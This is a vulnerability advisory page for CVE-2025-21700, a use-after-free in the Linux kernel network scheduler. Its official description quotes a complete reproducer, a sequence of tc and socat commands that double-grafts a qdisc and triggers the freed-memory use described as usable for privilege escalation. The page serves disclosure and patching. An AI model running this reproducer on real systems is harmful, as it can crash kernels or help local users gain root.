# CVE-2025-21700: net: sched: Disallow replacing of child qdisc from one parent to another

> A use-after-free in the Linux kernel network scheduler allows local attackers to escalate privileges or execute code by manipulating qdisc parent relationships.

- **Severity:** High 7.8 (`CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`)
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Local or same network only
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 13 Feb 2025
- **Updated:** 15 Oct 2026
- **Also known as:** AZL-59079, BELL-CVE-2025-21700, DEBIAN-CVE-2025-21700, GHSA-r79j-x479-2vhw, UBUNTU-CVE-2025-21700

## What is CVE-2025-21700?

CVE-2025-21700 is a high-severity use after free vulnerability in Linux kernel, published on 13 Feb 2025. It can only be exploited from the same machine or local network, with no action from the victim.

### Official description

In the Linux kernel, the following vulnerability has been resolved:

net: sched: Disallow replacing of child qdisc from one parent to another

Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script

Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr

step3. a class for nesting
tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr

step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7.
tc class add dev lo classid 3:1 drr

step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 limit 1000p
 qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 1:3 root leaf 4: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
 qdisc drr 3: dev lo parent 1:2

Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent.  b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.

Step 12.  send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13.  send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1

The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".

Joint work with Lion Ackermann <nnamrec@gmail.com>

Weakness: CWE-416 (Use After Free)

## Which versions are affected by CVE-2025-21700?

It affects 1 product.


Products: Linux kernel.

## How do I fix CVE-2025-21700?

Apply the vendor's patch.

## Is CVE-2025-21700 being exploited?

There is no known exploitation of CVE-2025-21700 in the wild and no public exploit code.

## Other vulnerabilities in Linux kernel

- [CVE-2026-53266](https://insights.sbomify.com/CVE-2026-53266/): Linux Kernel Out-of-Bounds Write (high 8.8, exploited in the wild)
- [CVE-2013-6282](https://insights.sbomify.com/CVE-2013-6282/): Linux Kernel Improper Input Validation (high 8.8, exploited in the wild)
- [CVE-2022-0185](https://insights.sbomify.com/CVE-2022-0185/): Linux Kernel Heap-Based Buffer Overflow (high 8.4, exploited in the wild)
- [CVE-2013-2094](https://insights.sbomify.com/CVE-2013-2094/): Linux Kernel Privilege Escalation (high 8.4, exploited in the wild)
- [CVE-2026-53362](https://insights.sbomify.com/CVE-2026-53362/): Linux Kernel Unspecified (high 7.8, exploited in the wild)

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2025-21700 and fix it if it is affected.

What it is: CVE-2025-21700 is a high-severity use after free vulnerability in Linux kernel, published on 13 Feb 2025. It can only be exploited from the same machine or local network, with no action from the victim.
Exploitation: There is no known exploitation of CVE-2025-21700 in the wild and no public exploit code.

Affected product: Linux kernel. No package-level version data is available, so check the vendor advisory linked from the reference page.

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2025-21700/ (Markdown: https://insights.sbomify.com/CVE-2025-21700/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2025-21700
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-21700
- OSV: https://osv.dev/vulnerability/CVE-2025-21700

---
From sbomify Insights: https://insights.sbomify.com/CVE-2025-21700/
Summaries are generated and may contain mistakes; the official description above is the record.